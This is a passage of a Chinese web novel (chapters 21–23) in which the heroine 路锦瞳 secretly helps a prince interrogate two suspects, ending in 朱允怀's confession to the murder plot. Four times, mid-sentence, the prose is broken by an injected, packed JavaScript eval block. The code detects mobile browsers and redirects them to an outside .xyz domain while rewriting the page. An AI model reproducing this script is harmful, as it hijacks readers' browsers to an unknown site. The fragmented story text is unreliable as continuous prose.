容筝不太明白什么是有色眼镜,但他能懂路锦瞳的大概意思,只苦笑一下:“只希望你不要怪我才好,经此一事,还不知外面的人会怎么传你的闲话。” “怕什么?”路锦瞳摆摆手,“早在我被庞载抓紧府衙的那天,我的名誉就不好了,殿下又不是不知道,我们出去查案时,有多少人对我指指点点,反正坏都坏了,随便吧,还能更坏不成?我爹娘不嫌弃我就够了。” 容筝无声笑笑,亲自给她斟了杯茶:“先等着吧,还在找内奸是谁,大约一会儿就会有结果。” 路锦瞳道了声谢接过,她没有去帮忙的打算,大理寺的人沈知安最了解,要真找内奸恐怕还轮不到她,况且人家沈知安是被誉为“包青天”的人,差她去帮倒忙么?她还不如留在这里,收集查到的所有讯息,在明天用尽毕生所学去审问那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025040|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个人。 她一直都记得赵浩和她说的那个长胡子的爷爷,据了解,赵阿大从荆州来了金陵之后,只在沼土村做了几个月的活就去了锦绣布纺了,之后一直都在,村长说赵阿大家很少与周围村民交好,村里人只和林氏及赵浩相熟,那么赵阿大就不可能有机会从村里人那边认识什么权贵之人,就别说村里人也没认识权贵之人的机会了。 赵浩说赵阿大对那人尊敬,并且很有礼数,“不什么使命”极有可能是“不辱使命”,赵阿大是在向谁许诺?以他的人际关系,路锦瞳想不到别人,不是朱允怀,就一定是朱章了。 大家都说二公子很重视赵阿大,那么被二公子重视的赵阿大有没有可能也会因此与朱章认识,同时为朱章做事呢? 皇族中尚有揽脏活的不许登上皇位一说,宅子里自然也会有这种现象发生,朱允怀会不会就是那个负责做脏活的,所以一出事,眼看着搂不住了,所以朱章把他推出来顶罪。 路锦瞳越想越觉得有可能,但宋云衡怎么回事呢?他肯定参与了,不然不论是朱允怀作为跑腿还是作为主谋,都不可能没事跑去丞相府自言自语谋害三皇子的事情,他一定在其中扮演了什么角色。 那么这件事,丞相是否知情呢? 迄今为止,路锦瞳没有找到一点丞相参与进去的证据,宋云知极得丞相的宠爱,众人皆知,听闻宋云知死后他一病不起,连上朝都是精神恍惚,这样的人,怎么可能会伤害自己的女儿呢? 容筝还没走,路锦瞳便逮着他问些家族秘辛:“殿下,宋云衡和丞相的关系如何?和宋云知关系又怎么样?丞相是真疼爱宋云知还是装的啊?” 容筝不太懂她为什么要问这些,但还是回答了:“丞相大人很爱子,府中每个孩子都很宠爱,因为只有宋云知姑娘一个女儿,所以要更宠她一些,宋云衡时常抱怨,他与宋云知的关系不太好,经常吵架。” 路锦瞳懂,宋云知那个脾气谁能受得了啊?也就是讨好她的小姐妹们能接受了,要不然遇上原身怎么会直接炸呢?宋云衡受不了也正常哈。 但是会讨厌到这种地步么?讨厌到要了同父异母姐姐的命? 一切答案,只要明日将他们二人提审过来一问,差不多就都能水落石出了。 路锦瞳坐了一会儿,就有人进来禀报容筝,她也顺便听了一耳朵,那人报道:“殿下,找到了一具尸体,是从后院水井中捞出来的,是一名衙役的,沈大人认出确实是大理寺的人。” 等那人退下,路锦瞳才道:“这种情况也正常,以幕后之人的手段,让知情人永远闭嘴已经是他的作风了。这事要不然是衙役做的,要不然就是他接应了某人,把他带进大理寺内部,在那人将林氏三人杀害后,为免沈大人找出这名衙役,衙役会经不住拷问暴露他的身份,就连衙役也一起除掉了。” 21. 第 21 章 容筝道:“看来大理寺不只有一个人是内奸,兴许还有。” 除去暗杀路锦瞳的那位,加上此番这个,已经有两个了,但绝不止两个,大理寺分别是由科举考进的举子们组成的,这其中哪些人背后是谁都不能清楚,幕后之人究竟在大理寺还有多少人根本不清楚,他们查到何处幕后之人都能知道,并相应的对出策略,把朱允怀和宋云衡推出来,极有可能就是有人在其中报信。 “从现在开始,我们的调查都要秘密进行,即便是查了什么人,谈话内容却不能流传出去,尽量做好保密工作。”路锦瞳说,“殿下意下如何?” “听你的。”容筝道,他返身出去,“你先歇着吧,本宫去与沈大人商量商量。” 路锦瞳寻到了之前她住的那间房,旁边的两间现在都被围着,血腥气还未散去,路锦瞳在床上翻来覆去,怎么都睡不着,她越想越气,好久没有遇到这么有挑战性的对手了,可她并不觉得她能赢,她要面对的不是普通人,要不是变态凶手,而是权势,甚至极有可能会被牵扯进皇权斗争中,容筝会帮她么?容筝会不会甘愿为了真相把自己暴露出来,得罪别人? 她这么发愁到了半夜,将要凌晨时才迷迷糊糊睡过去。这一晚上大理寺几乎都没人睡着,大理寺内有三人被害,他们不仅不知道,凶手甚至还在他们中间,不免人心惶惶。 沈知安更是一夜没睡,他亲自去把所有人的档案都拿过来,一个一个调查,试图把大理寺内剩余的内奸都揪出来,哪怕是无法明面上让他们滚蛋,好歹能让人心中有个防备。 路锦瞳心里有事,很早就醒了,她不好意思打搅别人,自己绕着院子跑了几个来回,又拉扯了一系列动作,似乎要将憋了一晚上的气通过运动释放出来。 她已经等不及要去审问那两位了,今天一定要从他们口中问出什么来,否则这案子根本完不了,不光有可能成为悬案,那些死去的人也不会瞑目,只要有希望,她就不可能放过。 早饭时没看见容筝,这次没等她问沈知安就主动道:“殿下卯时被紧急叫进宫中去了。” “啊?”路锦瞳没打算问,容筝要不然是回府休息还没过来,要不然就是又被皇帝叫进宫了,只要到点他能过来就好,但沈知安都主动说了,她也不好意思说“你说这个干啥我又没问你”,这也太不礼貌了。 于是路锦瞳微笑:“啊好的,谢谢大人,我知道了。” 沈知安似乎是怕她不相信,又补了一句:“一会儿就过来了。” 路锦瞳只好满脸问号的连连点头。 吃过早饭,路锦瞳一脸严肃的坐在凳子上啃橘子,顺便等容筝过来。容筝在半上午才姗姗来迟,他脸色不太好看,路锦瞳猜测他应该是向皇帝汇报了很久,再加上晚上没怎么睡好才会这样。 路锦瞳没有怪他来迟的意思,第一是她也没那个资格,第二皇帝心情时好时不好的,这次案子已经大到大理寺都混入内奸了,多问两句也正常,只要不耽误事就行,半上午也来得及。 路锦瞳站起来向他见了个礼,然后道:“殿下,我们走吧,先去谁家?” “你恐怕是去不了了,”容筝叹气,“父皇叫我进宫,不许你再跟着查案,说这有违礼法,你毕竟不是大理寺内编制人员,甚至都没有官名在身,一个姑娘家,跟着我们一堆男人查案,确实不太好。” 路锦瞳雀跃卡在脸上,她慢慢收起笑,脸上却没有太多失望的表情:“陛下说的也有道理,我没名没分的,一直跟着你们查案确实不太好,万一将来有人效仿可怎么办,有我这个先例都不好阻止。” 她舒了口气,抬起眼来:“不过,我想知道,陛下之前知道我在查么?” “当然知道,那段时间京中传言他也多多少少听到过,”容筝答,“父皇起初不同意,本宫向他说了你的天赋,又向他求情,他也就答应了,只是让你不要太招摇,谁知……今日早朝时朱章大人站出来,向着满朝文武官员说你以一介女儿身查案,还没有官职,实在是不合常理,恐会遭人非议,也会惹得朝纲大乱。父皇便叫我入宫,让我替你转达,你不要再参与进来了。” “果然是他。”路锦瞳很不高兴的念叨,她本来就怀疑这个老头,没想到老头就这样简单的闯入她视线了,这让她不怀疑都不行。 幕后之人就是他吧,肯定是他。 路锦瞳不好自己先下决断,她道:“那殿下是怎么想的?” “你跟着案子走到现在,眼看就要见到曙光了,就这么离开的话,本宫也不太愿意。”容筝坐到她对面,“不如这样,你先回府,之后我再叫余景从你家后门接你过来,你稍微换装一下,让人认不得你。之后你就一直在隔间便好,本宫审完人,会去问你的意见,你无法直接面对嫌疑人,但是可以在背后。你意下如何?” “能让我继续参与,那当然是最好了。”路锦瞳眼睛亮了起来,随后她又有些迟疑,“可是,皇上不是不许我再参与了么?如果让他知道您让我偷摸跟着,他会不会怪您抗旨啊?” 容筝却一笑:“父皇又没有下旨,怎么算抗旨呢?” 玩文字游戏是吧,路锦瞳懂了,她不禁给容筝竖了个大拇指:“姜还是老的辣,殿下果然厉害。” 看她完全没在意,也不生气,容筝谨慎了一路的心终于安然放下,他也开起了玩笑:“本宫老么?” “怎么会?”路锦瞳摆手,“我的意思是,您阅历深啦。” *** 余景驾着马车,重新把路锦瞳送回府去,路锦瞳则摆了一张很不高兴的脸来,气呼呼的走进路府大门。 她向路钊和陆绾说清楚了事情的经过,陆绾不禁觉得她实在是胆大包天,皇帝都下令不许她去了,路锦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15031987|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞳居然还敢。容筝也真是,作为皇子,怎么还能怂恿着人不听他爹的话呢? 不过他们不赞同归不赞同,倒是没有反对什么,只是告诫路锦瞳一定要小心小心再小心,如果发觉不对就赶紧跑,千万不要和人硬碰硬,查不出来就查不出来嘛,之后有机会再偷偷摸摸查不就好了,只要活着,什么都有机会。 随后他们就张罗着打扮路锦瞳了,不是说要装扮的完全看不出是她本人来么,这事陆绾颇有经验,她从小就爱上蹿下跳的,一天在家待着不会超过五个时辰,其余时间就是各种各样的去玩,她爹娘不许,要她有个女孩样,便想方设法的不许她出门。 陆绾岂是那种会甘愿听话的人?她转头就去研究如何换装让父母认不出来借此偷溜出门,刚开始还比较容易,后来她爹娘吃一堑长一智,开始在陆府周围到处布置人手,围得如铁桶一般密不透风,连只苍蝇飞出去都要看看是公的还是母的。陆绾便在与父母斗智斗勇中逐渐摸到了窍门,久而久之,她不光扯谎随口就来,还会用胭脂水粉进行“换脸术”。 也正是因为她的自由总被父母阻隔,所以路锦瞳做什么她才会都支持,只要孩子不做伤天害理的事情,她喜欢,那就随她去。 路锦瞳回忆起这段记忆,顿时眼睛一亮,这可太好了,有了陆绾,她就可以每天都是一个样子的出门,都不会有人怀疑,她哪怕是从大门口光明正大的走出去都可以。 不知道容筝何时才会派人过来,可总不好让人家等着,陆绾和路锦瞳一合计,母女俩便手拉手回房开始研究了。 陆绾打算给她打扮成丫鬟的模样,这个最简单方便,路府的丫鬟即便是出门也会用轻纱遮面,毕竟是大户人家的丫鬟,与旁的相较自然不同。遮住了脸,一般人是不敢逼人把面纱扯下来的,这可算是调戏良家少女,去官府一告一个准儿,换身衣服便可遮掩身形,个子也不用怕,往靴子里垫点什么东西就能长高三四厘米。 为了防止突发状况,陆绾还是给路锦瞳化了个妆,照着竹月的眉眼画的,虽说不是十成十,但也有六七成相似了,属于路锦瞳的脸并不多。 原身这张脸比较大众,不能说特别好看,但也不错,属于清秀那挂,这种脸有一个好处就是无论什么妆都能驾驭的了,化成他人模样更是方便。 陆绾一边化妆一边夸赞:“不愧是我女儿,和我一样的脸,娘小的时候也是这样,化成什么样都没人会怀疑,每次都能蒙混过关,我实在是太幸运了呀。” 路锦瞳没忍心把大众脸的事实说出来,以免她娘当场哭给她看。 陆绾许多年未用这门手艺,时隔多年重操旧业居然毫不生疏,没过一会儿便给她捯饬好了,路锦瞳蒙了面纱昂首挺胸去了后门,余景早已等在了那里,他也换了身装束,还滑稽的贴了个小胡子。路锦瞳忍着没笑出声来,大摇大摆上了马车。 22. 第 22 章 “殿下已经将朱允怀和宋云衡都带回大理寺了,”余景向她说明情况,“待会儿属下直接带姑娘去审讯室旁边的屋子里,殿下审问途中会去找您的,笔录也会拿给您看。” 路锦瞳点头答应,她道:“把他们两个叫过来是不是挺不容易的,朱大人和宋丞相肯放人么?” “是不太容易,但皇上下令了,他们也不能抗旨,纷纷表示愿意配合调查。”余景道。 路锦瞳翻了个白眼,说得比唱得还好听呢,要是真愿意调查干嘛还在上朝时把她推出去,这举动并非是真正忠心为国,而是心虚,怕她若是再跟下去还会查出什么东西来。 大理寺没有后门,但好歹有一处高墙离闹市远,较为偏僻,平时都没什么人经过这里。余景把她送到了这儿,又像变戏法似的从马车下面摸出个梯子来给她立着:“属下帮您扶梯子,您爬的慢一点,您上去了属下再上。如果您实在是爬不了,再想别的办法也行。” “没事,我能爬。”路锦瞳摆摆手,她之前的体能训练可就包括爬墙,上学的时候也没少翻墙出去买吃的,爸爸说她很小的时候就喜欢爬树摸鸟蛋,顽劣得很。这墙也没那么高,况且还有梯子,这具身体的体能提高不少,对于她来说都是小意思。 她提着裙子三下两下爬上墙头,往过挪了挪,给余景让了个位置,待他也上来后,两人一起合力把梯子抬到另一边,才总算是进了大理寺。 余景带着她东绕西绕,躲开有人经过的地方,来到地牢。 这里仍然有人守着,不过身上都不是大理寺的服饰,倒是与路锦瞳之前所见余景穿的差不多,想必是因为大理寺闹出了内奸,为了防止同样的事情发生,以及新的线索被传出去,重要线索有关的人或地点都用着自己人看守,所以路锦瞳也不用避讳。 她进了其中一间房,桌上放了糕点和茶水,方便她渴了饿了随时能用到,余景道:“殿下还未来,那两人分别在您左右边关着,您稍等一会儿。” 说完这话,他便垂首掩门出去了。 路锦瞳坐了一会儿,便听有脚步声传来,她下意识往门上那块窗口看,正见容筝过来,他与路锦瞳对视,并向她点点头,随后去了前面的那间屋子。 路锦瞳打起精神,她搬着凳子小步过去靠着墙坐下,随后趴到墙上屏住呼吸细听。 “九月初九那日,你在何处?”容筝问。 “在府上。”一个青稚的少年声音响起。 “可本宫听说,你那日去了丞相府寻找宋云衡,还不是从正门进去,是翻墙去的,并且鬼鬼祟祟,刻意避着下人走。”容筝不急不缓,“那人看到了你的脸,能断定是你,你怎么说?” 看来这人是朱允怀,路锦瞳想。 朱允怀道:“我就是在府上,哪里都没有去,殿下如果不相信,可以问我的书童。” 容筝不和他争论下去,他换了个问题:“那好,你告诉本宫,你在府上做了什么?” “我在看书。” “撒谎!”容筝厉声道,“你的书童说你身体不适,在屋中休息,一直睡着,可并没有看什么书。” “……”朱允怀默了一下,随后道,“我确实是不舒服没错,但后来觉得好多了就起来看书了,书童未进来伺候,当然不知道我在干什么。” “那丞相府上的小厮为什么要说见到你了?他总不会也在撒谎吧?”容筝追问。 “这我怎么知道?”朱允怀道,“我反正没去过,也说不定是他看错了呢,或者是记错了日子。” 容筝道:“小厮绝对不可能认错,初九那日宋云知小姐在府中办宴会,因为邀请贵女众多,府上格外忙碌,小厮对那日的情形记得很清楚,他就是在那日看见你的。” 朱允怀语气不耐烦:“我就是没去,一个小厮的话怎可尽信。” “那如果你在丞相府落下了东西呢?” “我经常去寻云衡,落下东西有什么不对?” 还挺嘴硬,容筝被气笑,他道:“赵阿大你总记得吧?他是你的人么?” “他干活麻利,我管理家中铺子,经常会派他做事,有什么问题么?”朱允怀道。 容筝道:“宋云知及丫鬟柳絮就是他杀的,包括后面的柳烨。他与权贵几乎都无来往,更不可能与其结仇,如果不是有人指使,他为何好好的会跑去杀人?” 朱允怀笑出声来:“殿下这话也太可笑了,下人杀了人,就一定是主子指使的了?这是什么道理?要真是这样的话,那殿下您手下的人天天都在杀人,岂不是每一条命都要算在你的头上?” 路锦瞳在隔壁都听的皱眉,容筝却没有生气,他仍是淡淡的:“无妨,本宫这便将你府中的下人找过来,问清楚你那日中午去做什么,包括锦绣布纺的赵五,他可是说了,在初九的前几日,你曾找过赵阿大,拜托他做什么事。本宫想,只要再问问他,或者更多的人,总能问出什么来,总会有人见过你与赵阿大碰面,也会有人听到什么,毕竟这世上没有不透风的墙,只要是犯罪了,就一定会留下痕迹。” “殿下这是准备屈打成招?”朱允怀嗤笑。 容筝则道:“本宫打你了么?” 说罢,他便开门出去了。 路锦瞳的门是虚掩的,方便容筝时刻进来,也不会因为门的开合而让那两人起疑。容筝刚进来便摇头:“本宫能瞧得出来他在说谎,但没有指向性的证据,根本无法把他钉死。” 路锦瞳道:“正常的,在没拿到确切证据的情况下,审问他们就只能诈,但朱允怀这人尤其的聪明,根本不上当,只能先放放,让人继续找证据,等找到了再去问他。” 古代没有心测这个技术,否则他哪里说谎,哪里有破绽便能看得一清二楚,对付朱允怀这种智商的人,不耍诈肯定不行。 “对了,”路锦瞳想起一件事来,“一直都没有问过您,截止到现在,三皇子可有出什么事?” 容筝刚要摇头,走廊便传来急促的脚步声,他回了头,便见余景从外面奔进来,他低声道:“殿下,请随属下出来一下。” 路锦瞳轻声道:“我能一起么?” 容筝点点头,随后路锦瞳便放轻步子跟着出去,余景到了外面全是自己人的地方才敢放开声音,他道:“殿下,两件事情。第一件,沈大人派人找到了赵阿大的尸体,尸体手中紧攥着一样东西,经人辨认,是朱允怀曾经佩戴在身上的玉佩;第二件,三皇子遇到了刺杀。” “皇兄如何?”容筝急道。 “三殿下没有大碍,自路小姐说宋云知小姐被害一案是因为听到了有人要谋害三殿下之后,三殿下就一直派人在身侧保护,此次对人来袭,这边人手足够,三殿下并未受伤。” 容筝舒了口气:“那就好。” 余景接着道:“在刺杀三殿下的人身上,侍卫搜到了朱府的腰牌。” 容筝这才有空问第一件事:“赵阿大的尸体找到了?在哪里找到的?” “河里捞出来的,有个渔民打鱼,捞上来一具尸体,吓得赶忙去府衙报案,钟大人接手了此案,恰逢府衙的仵作告假,沈大人正在府衙了解柳絮父母的旧案,便叫徐大人来帮忙,验尸时沈大人认出了那枚玉佩,之后根据尸体身上的一个痦子认出了赵阿大。” 余景这么说着,摸出了两个布包裹,呈给容筝:“一个是玉佩,另一个的腰牌。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15038605|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容筝伸手接过,他道:“有了这两个东西,再去审问朱允怀就有把握了。” 路锦瞳却紧皱了眉,她道:“先问问宋云衡吧,这个案子我怎么觉得丞相府摘得太干净了呢,好像全都是朱家人做的,明明最初听到三皇子被害的计划是在丞相府啊。” 容筝将那两个布包递给她:“那就如你所言,先去问宋云衡,之后再问朱允怀吧。” 路锦瞳仍然是轻轻掩上门,容筝进了另一间监房,门将将关上,他还未主动说一句什么讯问的话,宋云衡就先开口了。 他说:“是我做的。” “什么?”容筝有点没反应过来。 “宋云知、柳絮、柳烨、赵氏、林氏、赵浩,包括赵阿大,都是我派人杀的。”宋云衡很冷静的说,“三皇子也是我要害的,我看不惯他的作风,再加上他时常给我使绊子,我受不了。” 给容筝整不会了,他好半天才想起来去宋云衡的对面坐下:“可前三个人,都是赵阿大杀的,莫非你私下见过他?” “不错,“宋云衡道,“此事与允怀无关,是我辜负了他的信任。我知道赵阿大的身份不敏感,没有人会注意到,便私下联络,利用允怀对他的信任让他为我做事,之后赵氏和林氏也都是我派人灭的口,大理寺有我曾经提拔的人。允怀对此时一概不知。” “那丞相府……” “与父亲也没有关系,”宋云衡麻木道,“是我自己一个人搞出来的,我愧对父亲,不配做他的孩子。” 容筝:“……” 他还什么都没问呢! “殿下,”宋云衡抬眼看他,“不必顾及旁的,将我交出去罢,我自己犯得事,不连累旁人,也必须付出代价。” 容筝道:“刚刚搜到了朱允怀的玉佩以及朱府腰牌,这也是你从朱允怀身上偷来的?” “……是,是我辜负了他的信任。”宋云衡闭眼道。 “……” 容筝满头问号的出来了。 “太奇怪了,”在隔壁听完全程的路锦瞳如此总结,她眉头从之前拿到那两块牌子之后就没松开过,“根据前几案来看,我对幕后之人的犯罪刻画并非如此,幕后之人一定是不想被抓出来的,否则也不会接连把知情人灭口,但宋云衡交代的太快了,和他相比起来,嫌疑更大的反倒是更像朱允怀。” 容筝接话:“但这案子一定是两个人合谋,一个人无法做到,否则便无法解释你与宋云知在假山内听到的对话,宋云衡现在把朱允怀撇得干干净净,是打算一个人承担罪责的。” 路锦瞳道:“或许他们两个之间的感情远比我们想的要深,殿下,稍后你去审问朱允怀,什么都不必多说,只需要告诉他宋云衡招了,并且一个人担下了所有罪名,可以放朱允怀离开,他的嫌疑彻底洗清。除了这些之外,您要告诉他,天子犯法尚与庶民同罪,宋云衡自然也一样,不会有人包庇他帮他,他会因杀人罪被判处死刑。” 容筝只略一迟疑,很快便明白过来,他点头道:“好。” 他起身离开,回到了朱允怀那边,朱允怀见他回来便嘲讽:“殿下可找到人证了?” 容筝垂眼看他:“你可以离开了。” 朱允怀的声音明显一怔,他问:“为什么?你们不是怀疑我派赵阿大杀了人么?为什么突然放我离开?” 容筝淡淡道:“宋云衡已经招了,他说所有的事情都是他做的。” 他将路锦瞳教给他的话复述了一遍,随后道:“你可以离开了,此次若有失礼,抱歉。” 说罢,他转身便要离开。 在容筝即将要推开房门时,身后突然传来一个声音:“等一下!” 23. 第 23 章 容筝露出笑意,知道他们的计划成功了,他敛下笑意,转过半个身子去:“还有何事?” 朱允怀眼眶发红,他有些难以置信道:“云衡他……真的什么都认了?” “不错,”容筝道,“林林总总算下来九个人,他都认了,说那些事情都是他做的……” “他疯了么?!”朱允怀蓦地开口,打断了容筝接下来的话,容筝抬眼,触及到他满眼的血丝,朱允怀声音颤抖:“他真是疯了,明明说好了,绝不受任何人的摆布……” 受人摆布?容筝眉头皱起眉,他上前两步:“你刚刚那话,是什么意思?” 朱允怀随意在脸上抹了一把,也不知拭去的是什么,他呼出一口气,抬头道:“殿下,我有话要和您说。” 容筝来了精神:“你说。” 他与路锦瞳一样,觉得朱允怀和宋云衡是被人推出来的,可能他们参与了,但不多,重点怀疑对象自然是朱章,至于丞相宋谢安,目前没有嫌疑,只是单纯感觉不对而已。 但宋云衡已经什么都承认了,在他不吐出任何别的东西的情况下,他们可能就无法继续查下去了,除非是丞相不肯信这样的结果,要求他们继续查,否则皇上只会让他尽快结案,此案已经耽误太多时间了,不光是权贵,连百姓都是人心惶惶。 他有些希冀的盯着朱允怀的眼睛,他从那双眼中能看到坚定,仿佛是下定了某种决定似的。可朱允怀却说:“抱歉殿下,我之前撒谎了,我要向您坦白,杀死宋云知,以及谋害三皇子,主谋都是我。” “什么?”容筝愣住了。 朱允怀呼出一口气:“想必殿下也知道,三皇子经常流连醉春楼,里面的蔷薇姑娘是他最宠爱的。对于我来说,蔷薇姑娘是知己,即便是她流落于烟花之地,却难掩才华,我很欣赏她,便时常过去买几个时辰,和她一起聊天,在我眼中,她就像我的妹妹一样。 “蔷薇向来是卖艺不卖身,一次三皇子喝醉了酒,竟要强迫于她,她不肯,便拼死反抗,被失手推倒,头撞在桌角的尖锐之处,自此香消玉殒。我将她当作妹妹,三皇子却如此草菅人命,事后甚至装作无所事事,我去质问他,他还诋毁蔷薇。 “殿下一定不能明白,可我忍不了,我早就看他不顺眼了,此事更是挑起了怒火,我决定要杀了他,反正现在夺嫡之争这么激烈,三皇子之前也不是没有遭遇过刺杀,即便是又有人杀他,也都会被当作是六皇子殿下的人。” 六皇子容清与三皇子结仇已久,两人互不对付,将怀疑目光放到他头上也正常。容筝点了点头。 朱允怀继续道:“下了这个决定后,我就去找了云衡,那日不赶巧,宋云知在府中摆了宴会,前厅特别热闹,后宅又不能叫人轻易进去,我们便约在了其中的必经之路,那座假山中交谈。 “云衡起初不同意,可我实在坚持,扬言如果他不帮就断交,他怕我做什么傻事,无奈之下才答应的,真不是他存了害人之心,他都是被我怂恿的。” 宋云衡是使劲把朱允怀往出撇,朱允怀则是努力让宋云衡在此事中扮演一个被迫的角色。路锦瞳垂下眼,他们两个,看起来还真是很好的朋友啊,之所以不完全把宋云衡撇出去,恐怕是朱允怀自己太了解宋云衡了,知道他说出的话决不会反悔,即便是他要将他撇清,宋云衡也不会顺着台阶下,不如给他安个不那么重罪的罪名。 朱允怀说出的真相并不是他们想听到的,但还是要听下去,倘若能从其中抓到什么漏洞就更好了,这样还能把朱章也拉下水,朱章想让他的儿子替他顶锅,可没有那么容易,九个人因此而死,他还想摘的出来? 反正路锦瞳是绝对不会这么轻易把他放过的,不管他之前害了多少人,今后都不能再叫他有这个机会了。 对屋的朱允怀仍在絮絮诉说:“我们交谈时听到外面有动静,我便出去查看,看到两个离开的背影,我托云衡帮我认那两个人是谁,后来真的是宋云知和路锦瞳。我不知道她们听到了多少,但这次涉及到谋害皇子,无论如何都不能让她们两个把这事说出去,否则朱家和丞相府都会被害死的。 “云衡优柔寡断,即便他平日里与宋云知关系不好,但让他杀自己的亲人肯定做不到,所以我就没告诉他,暗中去找了赵阿大,让他对宋云知下手,还要制造出不在场证明,绝对不能牵连朱家。为了不留下痕迹,我叫赵阿大先去买通宋云知,由于和云衡关系好的缘故,我知道宋云知与柳絮之间的旧事,她们主仆早有嫌隙,只是地位悬殊无法点破,柳絮早就对宋云知不够忠心了。 “借此机会,我叫赵阿大许诺柳絮银子,以及释奴文书,果然将她买通,柳絮愿意给宋云知下毒,随后远走他乡,不让衙门发现踪迹。但我不相信她,只有死人的嘴才最严实,所以我让赵阿大将她也灭口,期间我一直叫人了解着丞相府内的事情,知道柳絮要在这几日见她的舅舅,便叫赵阿大等着,把进城找柳絮的亲戚也一并杀了,以免他等不到人找去官府,好让你们知道这一消息。为了让柳絮安心,两份的释奴文书赵阿大先给了他一份,她死后为了不留下痕迹就没有去茶楼取走,打算着由大理寺内埋着的暗线动手偷出来,没想到柳絮藏得很深,夜晚又有人巡逻,一时之间没找出来,就被你们发现了。” 还有这么一回事啊。路锦瞳心中后怕,幸好没把释奴文书偷走,那可是把思路顺下去的关键线索,如果拿走了的话,可能现在他们都推断不到这一步。 “然后呢?”容筝道。 朱允怀道:“我原来的计划是让宋云知死于‘山贼’之手,可见她找了路锦瞳,便想着要一石二鸟,如果在路锦瞳走后,宋云知就死了,随后她又投了湖,在外人看来是否畏罪自杀呢?我这样打算着,便叫赵阿大一直跟着,来个人把路锦瞳的贴身丫鬟引走,随后他将路锦瞳推入湖中,伪造自杀的假象。 “那丫鬟回来发现路锦瞳不在,慌得四处找人,又去了衙门,希望能有人帮忙找找,顺便从湖中打捞一下,看看她是否跌入湖中,事情本按照我想的方向发展,却不成想路锦瞳在被捞上来后居然还有呼吸,幸好我早就买通了庞载,他灵机一动,说路锦瞳是嫌疑人,径直把她带回府衙扔进牢中,本想让她在牢中活活烧死,结果她居然那么命大。” 说到这里他声音不免有些愤愤然,路锦瞳在隔壁差点没忍住笑出声来。 真不好意思,她出了名的命硬呢,之前做刑警的时候什么伤没受过,都活下来了,只是最后栽在绑匪手中罢了,到了这里自然也是同样,命照样硬! 朱允怀叹道:“我派去暗杀路锦瞳的人也被你们发现,她又获救了……我知道把罪名安在她头上的可能性不大了,便让人通风报信,你们查到哪里,我就把知情人杀到哪里,只可惜,我不能杀了所有人,秘密总有重见天日的时候,你们还是查到了我头上。” 是啊,他与赵阿大的关系,锦绣布纺上上下下都看得清清楚楚,他总不能把锦绣布纺所有的人都杀了,撒谎也是不能,天下没有不透风的墙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15049589|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只要那些人活着,他们就总会发现,但是如果杀了,大理寺的人依然会怀疑,这相当于是把朱家的把柄送到他们手上去。 容筝点了点头:“在这其中,宋云衡扮演了什么角色?” 朱允怀叹了口气:“起初我杀宋云知和柳絮他是完全不知情的,但宋云知死了,他当下就怀疑我了,毕竟她那妹妹虽骄纵跋扈,但也不至于有人恨到想要杀他,他来质问我,我就都告诉他了。他知道之后,直接和我闹掰了,之后的案子他没有插过手,顶多算是知情不报,从始至终,他都没有杀过一个人,就连三皇子,都是我派人去杀的,他一直都不赞同。” 他又急切的开始把宋云衡摘出去了,容筝不接他的话,只问:“你确定,做这些事,你的家人没有一个知道?” 朱允怀卡了一下,随后点头:“是。” 容筝打开一直拿着的布包,他将那枚腰牌放到朱允怀面前:“据本宫所知,你在家中并不受宠,朱大人并不喜欢你,肯交给你的只有布纺生意,还不是全部,既然如此,那你缘何能动用这个腰牌?要知道,挂着这种腰牌的都是你们府的侍卫,除了朱大人,谁能号令?” 朱允怀看着那块腰牌,目光露出一抹了然,他道:“我偷过来不行么?侍卫只凭腰牌行事,在谁的手里就听谁的话,并不一定只有父亲才能使的动。” “就算是这样,以朱大人对你的不喜,侍卫们也不敢听你的话吧,他们不怕被治罪么?”容筝施施然问。 朱允怀张了张口,还是没能说出什么来。 